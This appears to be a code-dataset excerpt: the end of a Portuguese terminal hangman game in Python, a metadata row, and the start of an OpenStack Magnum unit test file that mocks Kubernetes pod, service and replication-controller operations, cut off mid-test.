contador_letra = escolha.count(letra_player)
palavra_tamanho -= (contador_letra)
# Add as palavras na lista
# letras normais
posicao = 0
for i in range(0, contador_letra):
posicao = escolha.index(letra_player, posicao)
letras_certas[posicao] = letra_player
posicao += 1
posicao = 0
else:
tentativas -= 1
letras_usadas.append(letra_player)
# Cabeça
if tentativas == 5: #Cabeça
# Clear Screen
for i in range(0, y):
print()
# Game Lose 1 (head)
print(f"{game_color}{'Hífen também conta, não use acentos':^{x}}")
for i in range(0, 5):
print()
print(f"{game_color}{' ____________________'}{'Letras Erradas':>{x - 30}}")
print(f"{game_color}{' | |'}", end='')
# Mostrar letras usadas
for i in range(0, len(letras_usadas)):
j = 1 + (3 * (len(letras_usadas) - 1))
if i == 0:
print(espaco * (50 - j), end='')
print(f"{game_color}{letras_usadas[i]}", end='')
else:
print(f"{game_color}, {letras_usadas[i]}", end='')
print()
print(f"{game_color}{' | |'}")
print(f"{game_color}{' | ____|____'}")
print(f"{game_color}{' | | |'}")
print(f"{game_color}{' | | |'}")
print(f"{game_color}{' | ---------'}")
for i in range(0, 12):
print(f"{game_color}{' |'}")
print(f"{game_color}{' / '}\\")
# Mostrar letras certas
for i in range(0, len(letras_certas)):
if i == 0:
print(espaco * 19, end='')
print(f"{game_color}{letras_certas[i]}", end='')
else:
print(f"{game_color} {letras_certas[i]}", end='')
print()
# Mostrar os tracinhos
for i in range(0, len(escolha)):
if i == 0:
print(f"{game_color}{'-':>20}", end='')
else:
print(f"{game_color}{' -'}", end='')
print()
for i in range(0, 2):
print()
letra_player = str(input(f"{letra_color}Letra:{color_reset} ")).strip().lower()[0]
# Cabeça + Corpo
if tentativas == 4: # Cabeça + Corpo
# Game Lose 2 (head + body)
# Clear Screen
for i in range(0, y):
print()
print(f"{game_color}{'Hífen também conta, não use acentos':^{x}}")
for i in range(0, 5):
print()
print(f"{game_color}{' ____________________'}{'Letras Erradas':>{x - 30}}")
print(f"{game_color}{' | |'}", end='')
# Mostrar letras usadas
for i in range(0, len(letras_usadas)):
j = 1 + (3 * (len(letras_usadas) - 1))
if i == 0:
print(espaco * (50 - j), end='')
print(f"{game_color}{letras_usadas[i]}", end='')
else:
print(f"{game_color}, {letras_usadas[i]}", end='')
print()
print(f"{game_color}{' | |'}")
print(f"{game_color}{' | ____|____'}")
print(f"{game_color}{' | | |'}")
print(f"{game_color}{' | | |'}")
print(f"{game_color}{' | ---------'}")
for i in range(0, 5):
print(f"{game_color}{' | | '}")
for i in range(0, 7):
print(f"{game_color}{' |'}")
print(f"{game_color}{' / '}\\")
# Mostrar letras certas
for i in range(0, len(letras_certas)):
if i == 0:
print(espaco * 19, end='')
print(f"{game_color}{letras_certas[i]}", end='')
else:
print(f"{game_color} {letras_certas[i]}", end='')
print()
# Mostrar os tracinhos
for i in range(0, len(escolha)):
if i == 0:
print(f"{game_color}{'-':>20}", end='')
else:
print(f"{game_color}{' -'}", end='')
print()
for i in range(0, 2):
print()
letra_player = str(input(f"{letra_color}Letra:{color_reset} ")).strip().lower()[0]
# Cabeçã + Corpo + 1 leg
if tentativas == 3:
# Game Lose 3 (head + body+ 1 leg)
# Clear Screen
for i in range(0, y):
print()
print(f"{game_color}{'Hífen também conta, não use acentos':^{x}}")
for i in range(0, 5):
print()
print(f"{game_color}{' ____________________'}{'Letras Erradas':>{x - 30}}")
print(f"{game_color}{' | |'}", end='')
# Mostrar letras usadas
for i in range(0, len(letras_usadas)):
j = 1 + (3 * (len(letras_usadas) - 1))
if i == 0:
print(espaco * (50 - j), end='')
print(f"{game_color}{letras_usadas[i]}", end='')
else:
print(f"{game_color}, {letras_usadas[i]}", end='')
print()
print(f"{game_color}{' | |'}")
print(f"{game_color}{' | ____|____'}")
print(f"{game_color}{' | | |'}")
print(f"{game_color}{' | | |'}")
print(f"{game_color}{' | ---------'}")
for i in range(0, 5):
print(f"{game_color}{' | | '}")
for i in range(0, 5):
print(f"{game_color}{' |'}", end='')
print(espaco * (17 - i), end='')
print(f"{game_color}{'/'}")
for i in range(0, 2):
print(f"{game_color}{' |'}")
print(f"{game_color}{' / '}\\")
# Mostrar letras certas
for i in range(0, len(letras_certas)):
if i == 0:
print(espaco * 19, end='')
print(f"{game_color}{letras_certas[i]}", end='')
else:
print(f"{game_color} {letras_certas[i]}", end='')
print()
# Mostrar os tracinhos
for i in range(0, len(escolha)):
if i == 0:
print(f"{game_color}{'-':>20}", end='')
else:
print(f"{game_color}{' -'}", end='')
print()
for i in range(0, 2):
print()
letra_player = str(input(f"{letra_color}Letra:{color_reset} ")).strip().lower()[0]
# Cabeça + Corpo + 2 Pernas
if tentativas == 2:
# Game Lose 4 (head + body + 2 leg)
# Clear Screen
for i in range(0, y):
print()
print(f"{game_color}{'Hífen também conta, não use acentos':^{x}}")
for i in range(0, 5):
print()
print(f"{game_color}{' ____________________'}{'Letras Erradas':>{x - 30}}")
print(f"{game_color}{' | |'}", end='')
# Mostrar letras usadas
for i in range(0, len(letras_usadas)):
j = 1 + (3 * (len(letras_usadas) - 1))
if i == 0:
print(espaco * (50 - j), end='')
print(f"{game_color}{letras_usadas[i]}", end='')
else:
print(f"{game_color}, {letras_usadas[i]}", end='')
print()
print(f"{game_color}{' | |'}")
print(f"{game_color}{' | ____|____'}")
print(f"{game_color}{' | | |'}")
print(f"{game_color}{' | | |'}")
print(f"{game_color}{' | ---------'}")
for i in range(0, 5):
print(f"{game_color}{' | | '}")
for i in range(0, 5):
print(f"{game_color}{' |'}", end='')
print(espaco * (17 - i), end='')
print(f"{game_color}{'/'}", end='')
print(espaco * (2 * i + 1), end='')
print(f"{game_color}\\")
for i in range(0, 2):
print(f"{game_color}{' |'}")
print(f"{game_color}{' / '}\\")
# Mostrar letras certas
for i in range(0, len(letras_certas)):
if i == 0:
print(espaco * 19, end='')
print(f"{game_color}{letras_certas[i]}", end='')
else:
print(f"{game_color} {letras_certas[i]}", end='')
print()
# Mostrar os tracinhos
for i in range(0, len(escolha)):
if i == 0:
print(f"{game_color}{'-':>20}", end='')
else:
print(f"{game_color}{' -'}", end='')
print()
for i in range(0, 2):
print()
letra_player = str(input(f"{letra_color}Letra:{color_reset} ")).strip().lower()[0]
# Cabeça + Corpo + 2 pernas + 1 braço
if tentativas == 1:
# Game Lose 5 (head + body + 2 leg + arm)
# Clear Screen
for i in range(0, y):
print()
print(f"{game_color}{'Hífen também conta, não use acentos':^{x}}")
for i in range(0, 5):
print()
print(f"{game_color}{' ____________________'}{'Letras Erradas':>{x - 30}}")
print(f"{game_color}{' | |'}", end='')
# Mostrar letras usadas
for i in range(0, len(letras_usadas)):
j = 1 + (3 * (len(letras_usadas) - 1))
if i == 0:
print(espaco * (50 - j), end='')
print(f"{game_color}{letras_usadas[i]}", end='')
else:
print(f"{game_color}, {letras_usadas[i]}", end='')
print()
print(f"{game_color}{' | |'}")
print(f"{game_color}{' | ____|____'}")
print(f"{game_color}{' | | |'}")
print(f"{game_color}{' | | |'}")
print(f"{game_color}{' | ---------'}")
print(f"{game_color}{' | | '}")
print(f"{game_color}{' | ---------| '}")
for i in range(0, 3):
print(f"{game_color}{' | | '}")
for i in range(0, 5):
print(f"{game_color}{' |'}", end='')
print(espaco * (17 - i), end='')
print(f"{game_color}{'/'}", end='')
print(espaco * (2 * i + 1), end='')
print(f"{game_color}\\")
for i in range(0, 2):
print(f"{game_color}{' |'}")
print(f"{game_color}{' / '}\\")
# Mostrar letras certas
for i in range(0, len(letras_certas)):
if i == 0:
print(espaco * 19, end='')
print(f"{game_color}{letras_certas[i]}", end='')
else:
print(f"{game_color} {letras_certas[i]}", end='')
print()
# Mostrar os tracinhos
for i in range(0, len(escolha)):
if i == 0:
print(f"{game_color}{'-':>20}", end='')
else:
print(f"{game_color}{' -'}", end='')
print()
for i in range(0, 2):
print()
letra_player = str(input(f"{letra_color}Letra:{color_reset} ")).strip().lower()[0]
# Cabeça + Corpo + 2 pernas + 2 braços = fim
if tentativas == 0:
# Game Lose 6 (head + body + 2 leg + 2 arm)
# Clear Screen
for i in range(0, y):
print()
print(f"{game_color}{'Hífen também conta, não use acentos':^{x}}")
for i in range(0, 5):
print()
print(f"{game_color}{' ____________________'}{'Letras Erradas':>{x - 30}}")
print(f"{game_color}{' | |'}", end='')
# Mostrar letras usadas
for i in range(0, len(letras_usadas)):
j = 1 + (3 * (len(letras_usadas) - 1))
if i == 0:
print(espaco * (50 - j), end='')
print(f"{game_color}{letras_usadas[i]}", end='')
else:
print(f"{game_color}, {letras_usadas[i]}", end='')
print()
print(f"{game_color}{' | |'}")
print(f"{game_color}{' | ____|____'}")
print(f"{game_color}{' | | |'}")
print(f"{game_color}{' | | |'}")
print(f"{game_color}{' | ---------'}")
print(f"{game_color}{' | | '}")
print(f"{game_color}{' | ---------|---------'}")
for i in range(0, 3):
print(f"{game_color}{' | | '}")
for i in range(0, 5):
print(f"{game_color}{' |'}", end='')
print(espaco * (17 - i), end='')
print(f"{game_color}{'/'}", end='')
print(espaco * (2 * i + 1), end='')
print(f"{game_color}\\")
for i in range(0, 2):
print(f"{game_color}{' |'}")
print(f"{game_color}{' / '}\\")
# Mostrar letras certas
for i in range(0, len(letras_certas)):
if i == 0:
print(espaco * 19, end='')
print(f"{game_color}{letras_certas[i]}", end='')
else:
print(f"{game_color} {letras_certas[i]}", end='')
print()
# Mostrar os tracinhos
for i in range(0, len(escolha)):
if i == 0:
print(f"{game_color}{'-':>20}", end='')
else:
print(f"{game_color}{' -'}", end='')
print()
for i in range(0, 3):
print()
sleep(2)
# Clear Screen
for i in range(0, y):
print()
# Lose screen
for i in range(0, 14):
print()
print(title_color + "-=" * 40)
print(f"{title_color}{'Você foi enforcado!':^{x}}")
print(title_color + "-=" * 40)
for i in range(0, 14):
print()
sleep(2)
break
# Vitoria
if palavra_tamanho == 0:
sleep(2)
# Clear Screen
for i in range(0, y):
print()
# Win screen
for i in range(0, 14):
print()
print(title_color + "-=" * 40)
print(f"{title_color}{'Parabêns você venceu!':^{x}}")
print(title_color + "-=" * 40)
for i in range(0, 14):
print()
sleep(2)
break
while trava not in 'sn':
trava = input(f"{game_color}Deseja continuar? [s/n]: ").strip().lower()[0]
if trava in 'n':
break
if __name__ == "__main__":
try:
cmd = 'mode 80,31'
os.system(cmd)
jogar()
except:
print("Infelizmente, não foi possível rodar o jogo, tente no CMD!")
def abrir():
try:
cmd = 'mode 80,31'
os.system(cmd)
jogar()
except:
print("Infelizmente, não foi possível rodar o jogo, tente no CMD!")
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| 0
| 1
|
0
| 9
|
2822df5e0f774a73ca97c8c0617ebf4897c5fc22
| 27,677
|
py
|
Python
|
magnum/tests/unit/conductor/handlers/test_k8s_conductor.py
|
gyliu513/magnum
|
943eba8a7b03b11878399198091327d2e1b90fcb
|
[
"Apache-2.0"
] | null | null | null |
magnum/tests/unit/conductor/handlers/test_k8s_conductor.py
|
gyliu513/magnum
|
943eba8a7b03b11878399198091327d2e1b90fcb
|
[
"Apache-2.0"
] | null | null | null |
magnum/tests/unit/conductor/handlers/test_k8s_conductor.py
|
gyliu513/magnum
|
943eba8a7b03b11878399198091327d2e1b90fcb
|
[
"Apache-2.0"
] | 1
|
2020-09-09T14:35:08.000Z
|
2020-09-09T14:35:08.000Z
|
# Copyright 2014 NEC Corporation. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from k8sclient.client import rest
import mock
from mock import patch
from magnum.common import exception
from magnum.conductor.handlers import k8s_conductor
from magnum import objects
from magnum.tests import base
class TestK8sConductor(base.TestCase):
def setUp(self):
super(TestK8sConductor, self).setUp()
self.kube_handler = k8s_conductor.Handler()
def mock_pod(self):
return objects.Pod({})
def mock_service(self):
return objects.Service({})
def mock_rc(self):
return objects.ReplicationController({})
def mock_bay(self):
return objects.Bay({})
def mock_baymodel(self):
return objects.BayModel({})
@patch('magnum.conductor.utils.retrieve_bay')
@patch('ast.literal_eval')
def test_pod_create_with_success(self, mock_ast, mock_retrieve):
expected_pod = mock.MagicMock()
expected_pod.uuid = 'test-uuid'
expected_pod.name = 'test-name'
expected_pod.bay_uuid = 'test-bay-uuid'
manifest = {"key": "value"}
expected_pod.manifest = '{"key": "value"}'
mock_ast.return_value = {}
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
self.kube_handler.pod_create(self.context, expected_pod)
(mock_kube_api.return_value.create_namespaced_pod
.assert_called_once_with(body=manifest, namespace='default'))
@patch('magnum.conductor.utils.retrieve_bay')
def test_pod_create_with_fail(self, mock_retrieve):
expected_pod = mock.MagicMock()
manifest = {"key": "value"}
expected_pod.manifest = '{"key": "value"}'
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
err = rest.ApiException(status=500)
mock_kube_api.return_value.create_namespaced_pod.side_effect = err
self.assertRaises(exception.KubernetesAPIFailed,
self.kube_handler.pod_create,
self.context, expected_pod)
(mock_kube_api.return_value
.create_namespaced_pod
.assert_called_once_with(body=manifest,
namespace='default'))
@patch('magnum.conductor.utils.retrieve_bay')
def test_pod_create_fail_on_existing_pod(self, retrieve_bay):
expected_pod = mock.MagicMock()
expected_pod.manifest = '{"key": "value"}'
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
err = rest.ApiException(status=409)
mock_kube_api.return_value.create_namespaced_pod.side_effect = err
self.assertRaises(exception.KubernetesAPIFailed,
self.kube_handler.pod_create,
self.context, expected_pod)
self.assertEqual('failed', expected_pod.status)
@patch('magnum.conductor.utils.object_has_stack')
@patch('magnum.objects.Pod.get_by_uuid')
@patch('magnum.objects.Bay.get_by_name')
def test_pod_delete_with_success(self,
mock_bay_get_by_name,
mock_pod_get_by_uuid,
mock_object_has_stack):
mock_bay = mock.MagicMock()
mock_bay_get_by_name.return_value = mock_bay
mock_pod = mock.MagicMock()
mock_pod.name = 'test-pod'
mock_pod.uuid = 'test-uuid'
mock_pod.bay_uuid = 'test-bay-uuid'
mock_pod_get_by_uuid.return_value = mock_pod
mock_object_has_stack.return_value = True
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
self.kube_handler.pod_delete(self.context,
mock_pod.name,
mock_pod.bay_uuid)
(mock_kube_api.return_value.delete_namespaced_pod
.assert_called_once_with(
name=mock_pod.name, body={}, namespace='default'))
@patch('magnum.conductor.utils.object_has_stack')
@patch('magnum.objects.Pod.get_by_uuid')
@patch('magnum.objects.Bay.get_by_name')
def test_pod_delete_with_failure(self, mock_bay_get_by_name,
mock_pod_get_by_uuid,
mock_object_has_stack):
mock_bay = mock.MagicMock()
mock_bay_get_by_name.return_value = mock_bay
mock_pod = mock.MagicMock()
mock_pod.name = 'test-pod'
mock_pod.uuid = 'test-uuid'
mock_pod_get_by_uuid.return_value = mock_pod
mock_object_has_stack.return_value = True
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
err = rest.ApiException(status=500)
mock_kube_api.return_value.delete_namespaced_pod.side_effect = err
self.assertRaises(exception.KubernetesAPIFailed,
self.kube_handler.pod_delete,
self.context, mock_pod.name,
mock_pod.bay_uuid)
(mock_kube_api.return_value.delete_namespaced_pod
.assert_called_once_with(
name=mock_pod.name, body={}, namespace='default'))
@patch('magnum.conductor.utils.object_has_stack')
@patch('magnum.objects.Pod.get_by_uuid')
@patch('magnum.objects.Bay.get_by_name')
def test_pod_delete_succeeds_when_not_found(
self, mock_bay_get_by_name,
mock_pod_get_by_uuid,
mock_object_has_stack):
mock_bay = mock.MagicMock()
mock_bay_get_by_name.return_value = mock_bay
mock_pod = mock.MagicMock()
mock_pod.name = 'test-pod'
mock_pod.uuid = 'test-uuid'
mock_pod_get_by_uuid.return_value = mock_pod
mock_object_has_stack.return_value = True
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
err = rest.ApiException(status=404)
mock_kube_api.return_value.delete_namespaced_pod.side_effect = err
self.kube_handler.pod_delete(self.context, mock_pod.name,
mock_pod.bay_uuid)
(mock_kube_api.return_value.delete_namespaced_pod
.assert_called_once_with(
name=mock_pod.name, body={}, namespace='default'))
@patch('magnum.objects.Bay.get_by_name')
@patch('magnum.conductor.k8s_api.create_k8s_api')
@patch('ast.literal_eval')
def test_service_create_with_success(self,
mock_ast,
mock_kube_api,
mock_get_bay):
fake_service = mock.MagicMock()
fake_service.name = 'test-name'
expected_service = mock.MagicMock()
expected_service.bay_uuid = 'test-bay-uuid'
expected_service.name = 'test-name'
expected_service.uuid = 'test-uuid'
manifest = {"key": "value"}
expected_service.manifest = '{"key": "value"}'
mock_ast.return_value = {}
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
self.kube_handler.service_create(self.context, expected_service)
(mock_kube_api.return_value.create_namespaced_service
.assert_called_once_with(body=manifest, namespace='default'))
@patch('magnum.objects.Bay.get_by_name')
def test_service_create_with_failure(self, mock_get_bay):
expected_service = mock.MagicMock()
expected_service.create = mock.MagicMock()
manifest = {"key": "value"}
expected_service.manifest = '{"key": "value"}'
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
err = rest.ApiException(status=404)
(mock_kube_api.return_value.create_namespaced_service
.side_effect) = err
self.assertRaises(exception.KubernetesAPIFailed,
self.kube_handler.service_create,
self.context, expected_service)
(mock_kube_api.return_value.create_namespaced_service
.assert_called_once_with(body=manifest, namespace='default'))
@patch('magnum.conductor.utils.object_has_stack')
@patch('magnum.objects.Service.get_by_name')
@patch('magnum.objects.Bay.get_by_name')
def test_service_delete_with_success(
self, mock_bay_get_by_name,
mock_service_get_by_name,
mock_object_has_stack):
mock_bay = mock.MagicMock()
mock_bay_get_by_name.return_value = mock_bay
mock_service = mock.MagicMock()
mock_service.name = 'test-service'
mock_service.uuid = 'test-uuid'
mock_service.bay_uuid = 'test-bay-uuid'
mock_service_get_by_name.return_value = mock_service
mock_object_has_stack.return_value = True
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
self.kube_handler.service_delete(self.context,
mock_service.name,
mock_service.bay_uuid)
(mock_kube_api.return_value.delete_namespaced_service
.assert_called_once_with(
name=mock_service.name, namespace='default'))
@patch('magnum.conductor.utils.object_has_stack')
@patch('magnum.objects.Service.get_by_uuid')
@patch('magnum.objects.Bay.get_by_name')
def test_service_delete_with_failure(
self, mock_bay_get_by_name,
mock_service_get_by_uuid,
mock_object_has_stack):
mock_bay = mock.MagicMock()
mock_bay_get_by_name.return_value = mock_bay
mock_service = mock.MagicMock()
mock_service.name = 'test-service'
mock_service.uuid = 'test-uuid'
mock_service.bay_uuid = 'test-bay-uuid'
mock_service_get_by_uuid.return_value = mock_service
mock_object_has_stack.return_value = True
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
err = rest.ApiException(status=500)
(mock_kube_api.return_value.delete_namespaced_service
.side_effect) = err
self.assertRaises(exception.KubernetesAPIFailed,
self.kube_handler.service_delete,
self.context, mock_service.name,
mock_service.bay_uuid)
(mock_kube_api.return_value.delete_namespaced_service
.assert_called_once_with(
name=mock_service.name, namespace='default'))
self.assertFalse(mock_service.destroy.called)
@patch('magnum.conductor.utils.object_has_stack')
@patch('magnum.objects.Service.get_by_uuid')
@patch('magnum.objects.Bay.get_by_name')
def test_service_delete_succeeds_when_not_found(
self, mock_bay_get_by_name,
mock_service_get_by_uuid,
mock_object_has_stack):
mock_bay = mock.MagicMock()
mock_bay_get_by_name.return_value = mock_bay
mock_service = mock.MagicMock()
mock_service.name = 'test-service'
mock_service.uuid = 'test-uuid'
mock_service.bay_uuid = 'test-bay-uuid'
mock_service_get_by_uuid.return_value = mock_service
mock_object_has_stack.return_value = True
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
err = rest.ApiException(status=404)
(mock_kube_api.return_value.delete_namespaced_service
.side_effect) = err
self.kube_handler.service_delete(self.context,
mock_service.name,
mock_service.bay_uuid)
(mock_kube_api.return_value.delete_namespaced_service
.assert_called_once_with(
name=mock_service.name, namespace='default'))
@patch('magnum.conductor.utils.retrieve_bay')
@patch('ast.literal_eval')
def test_rc_create_with_success(self, mock_ast, mock_retrieve):
expected_rc = mock.MagicMock()
manifest = {"key": "value"}
expected_rc.name = 'test-name'
expected_rc.uuid = 'test-uuid'
expected_rc.bay_uuid = 'test-bay-uuid'
expected_rc.manifest = '{"key": "value"}'
mock_ast.return_value = {}
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
self.kube_handler.rc_create({}, expected_rc)
(mock_kube_api.return_value
.create_namespaced_replication_controller
.assert_called_once_with(body=manifest, namespace='default'))
@patch('magnum.conductor.utils.retrieve_bay')
def test_rc_create_with_failure(self, mock_retrieve):
expected_rc = mock.MagicMock()
manifest = {"key": "value"}
expected_rc.manifest = '{"key": "value"}'
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
err = rest.ApiException(status=500)
(mock_kube_api.return_value
.create_namespaced_replication_controller.side_effect) = err
self.assertRaises(exception.KubernetesAPIFailed,
self.kube_handler.rc_create,
self.context, expected_rc)
(mock_kube_api.return_value
.create_namespaced_replication_controller
.assert_called_once_with(body=manifest, namespace='default'))
@patch('magnum.conductor.utils.object_has_stack')
@patch('magnum.objects.ReplicationController.get_by_name')
@patch('magnum.objects.Bay.get_by_name')
def test_rc_delete_with_success(self, mock_bay_get_by_name,
mock_rc_get_by_name,
mock_object_has_stack):
mock_bay = mock.MagicMock()
mock_bay_get_by_name.return_value = mock_bay
mock_rc = mock.MagicMock()
mock_rc.name = 'test-rc'
mock_rc.uuid = 'test-uuid'
mock_rc_get_by_name.return_value = mock_rc
bay_uuid = 'test-bay-uuid'
mock_object_has_stack.return_value = True
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
self.kube_handler.rc_delete(self.context, mock_rc.name, bay_uuid)
(mock_kube_api.return_value
.delete_namespaced_replication_controller
.assert_called_once_with(name=mock_rc.name, body={},
namespace='default'))
@patch('magnum.conductor.utils.object_has_stack')
@patch('magnum.objects.ReplicationController.get_by_uuid')
@patch('magnum.objects.Bay.get_by_name')
def test_rc_delete_with_failure(self, mock_bay_get_by_name,
mock_rc_get_by_uuid,
mock_object_has_stack):
mock_bay = mock.MagicMock()
mock_bay_get_by_name.return_value = mock_bay
mock_rc = mock.MagicMock()
mock_rc.name = 'test-rc'
mock_rc.uuid = 'test-uuid'
mock_rc.bay_uuid = 'test-bay-uuid'
mock_rc_get_by_uuid.return_value = mock_rc
mock_object_has_stack.return_value = True
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
err = rest.ApiException(status=500)
(mock_kube_api.return_value
.delete_namespaced_replication_controller.side_effect) = err
self.assertRaises(exception.KubernetesAPIFailed,
self.kube_handler.rc_delete,
self.context, mock_rc.name,
mock_rc.bay_uuid)
(mock_kube_api.return_value
.delete_namespaced_replication_controller
.assert_called_once_with(name=mock_rc.name, body={},
namespace='default'))
self.assertFalse(mock_rc.destroy.called)
@patch('magnum.conductor.utils.object_has_stack')
@patch('magnum.objects.ReplicationController.get_by_uuid')
@patch('magnum.objects.Bay.get_by_name')
def test_rc_delete_succeeds_when_not_found(
self, mock_bay_get_by_name,
mock_rc_get_by_uuid,
mock_object_has_stack):
mock_bay = mock.MagicMock()
mock_bay_get_by_name.return_value = mock_bay
mock_rc = mock.MagicMock()
mock_rc.name = 'test-rc'
mock_rc.uuid = 'test-uuid'
mock_rc.bay_uuid = 'test-bay-uuid'
mock_rc_get_by_uuid.return_value = mock_rc
mock_object_has_stack.return_value = True
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
err = rest.ApiException(status=404)
(mock_kube_api.return_value
.delete_namespaced_replication_controller.side_effect) = err
self.kube_handler.rc_delete(self.context,
mock_rc.name,
mock_rc.bay_uuid)
(mock_kube_api.return_value
.delete_namespaced_replication_controller
.assert_called_once_with(name=mock_rc.name, body={},
namespace='default'))
@patch('magnum.objects.ReplicationController.get_by_name')
@patch('magnum.objects.ReplicationController.get_by_uuid')
@patch('magnum.objects.Bay.get_by_name')
@patch('ast.literal_eval')
def test_rc_update_with_success(self, mock_ast,
mock_bay_get_by_name,
mock_rc_get_by_uuid,
mock_rc_get_by_name):
mock_bay = mock.MagicMock()
mock_bay_get_by_name.return_value = mock_bay
expected_rc = mock.MagicMock()
expected_rc.uuid = 'test-uuid'
expected_rc.name = 'test-name'
expected_rc.bay_uuid = 'test-bay-uuid'
expected_rc.manifest = '{"key": "value"}'
mock_ast.return_value = {}
mock_rc_get_by_uuid.return_value = expected_rc
mock_rc_get_by_name.return_value = expected_rc
name_rc = expected_rc.name
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
self.kube_handler.rc_update(self.context, expected_rc.name,
expected_rc.bay_uuid,
expected_rc.manifest)
(mock_kube_api.return_value
.replace_namespaced_replication_controller
.assert_called_once_with(body=expected_rc.manifest,
name=name_rc,
namespace='default'))
@patch('magnum.objects.ReplicationController.get_by_name')
@patch('magnum.objects.ReplicationController.get_by_uuid')
@patch('magnum.objects.Bay.get_by_name')
def test_rc_update_with_failure(self, mock_bay_get_by_name,
mock_rc_get_by_uuid,
mock_rc_get_by_name):
mock_bay = mock.MagicMock()
mock_bay_get_by_name.return_value = mock_bay
expected_rc = mock.MagicMock()
expected_rc.uuid = 'test-uuid'
expected_rc.name = 'test-name'
expected_rc.bay_uuid = 'test-bay-uuid'
mock_rc_get_by_uuid.return_value = expected_rc
mock_rc_get_by_name.return_value = expected_rc
expected_rc.manifest = '{"key": "value"}'
name_rc = expected_rc.name
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
err = rest.ApiException(status=404)
(mock_kube_api.return_value
.replace_namespaced_replication_controller
.side_effect) = err
self.assertRaises(exception.KubernetesAPIFailed,
self.kube_handler.rc_update,
self.context, expected_rc.name,
expected_rc.bay_uuid,
expected_rc.manifest)
(mock_kube_api.return_value
.replace_namespaced_replication_controller
.assert_called_once_with(body=expected_rc.manifest,
name=name_rc,
namespace='default'))
@patch('magnum.objects.Service.get_by_name')
@patch('magnum.objects.Service.get_by_uuid')
@patch('magnum.objects.Bay.get_by_name')
@patch('ast.literal_eval')
def test_service_update_with_success(self, mock_ast,
mock_bay_get_by_name,
mock_service_get_by_uuid,
mock_service_get_by_name):
mock_bay = mock.MagicMock()
mock_bay_get_by_name.return_value = mock_bay
expected_service = mock.MagicMock()
expected_service.uuid = 'test-uuid'
expected_service.name = 'test-name'
expected_service.bay_uuid = 'test-bay-uuid'
expected_service.manifest = '{"key": "value"}'
mock_ast.return_value = {}
mock_service_get_by_name.return_value = expected_service
mock_service_get_by_uuid.return_value = expected_service
service_name = expected_service.name
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
self.kube_handler.service_update(self.context,
expected_service.name,
expected_service.bay_uuid,
expected_service.manifest)
(mock_kube_api.return_value.replace_namespaced_service
.assert_called_once_with(body=expected_service.manifest,
name=service_name,
namespace='default'))
@patch('magnum.objects.Service.get_by_name')
@patch('magnum.objects.Service.get_by_uuid')
@patch('magnum.objects.Bay.get_by_name')
def test_service_update_with_failure(self, mock_bay_get_by_name,
mock_service_get_by_uuid,
mock_service_get_by_name):
mock_bay = mock.MagicMock()
mock_bay_get_by_name.return_value = mock_bay
expected_service = mock.MagicMock()
expected_service.uuid = 'test-uuid'
expected_service.name = 'test-name'
expected_service.bay_uuid = 'test-bay-uuid'
expected_service.manifest = '{"key": "value"}'
mock_service_get_by_uuid.return_value = expected_service
mock_service_get_by_name.return_value = expected_service
service_name = expected_service.name
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
err = rest.ApiException(status=404)
(mock_kube_api.return_value.replace_namespaced_service
.side_effect) = err
self.assertRaises(exception.KubernetesAPIFailed,
self.kube_handler.service_update,
self.context, expected_service.name,
expected_service.bay_uuid,
expected_service.manifest)
(mock_kube_api.return_value.replace_namespaced_service
.assert_called_once_with(body=expected_service.manifest,
name=service_name,
namespace='default'))
@patch('magnum.objects.Pod.get_by_name')
@patch('magnum.objects.Pod.get_by_uuid')
@patch('magnum.objects.Bay.get_by_name')
@patch('ast.literal_eval')
def test_pod_update_with_success(self, mock_ast,
mock_bay_get_by_name,
mock_pod_get_by_uuid,
mock_pod_get_by_name):
mock_bay = mock.MagicMock()
mock_bay_get_by_name.return_value = mock_bay
expected_pod = mock.MagicMock()
expected_pod.uuid = 'test-uuid'
expected_pod.name = 'test-name'
expected_pod.bay_uuid = 'test-bay-uuid'
expected_pod.manifest = '{"key": "value"}'
mock_ast.return_value = {}
mock_pod_get_by_uuid.return_value = expected_pod
mock_pod_get_by_name.return_value = expected_pod
name_pod = expected_pod.name
with patch('magnum.conductor.k8s_api.create_k8s_api') as \
mock_kube_api:
self.kube_handler.pod_update(self.context, expected_pod.name,
expected_pod.bay_uuid,
expected_pod.manifest)
(mock_kube_api.return_value.replace_namespaced_pod
.assert_called_once_with(
body=expected_pod.manifest, name=name_pod,
namespace='default'))
@patch('magnum.objects.Pod.get_by_name')
@patch('magnum.objects.Pod.get_by_uuid')
@patch('magnum.objects.Bay.get_by_name')
def test_pod_update_with_failure(self, mock_bay_get_by_name,
mock_pod_get_by_uuid,
mock_pod_get_by_name):
mock_bay = mock.MagicMock()
mock_bay_get_by_name.return_value = mock_bay
expected_pod = mock.MagicMock()
expected_pod.uuid = 'test-uuid'
expected_pod.name = 'test-name'
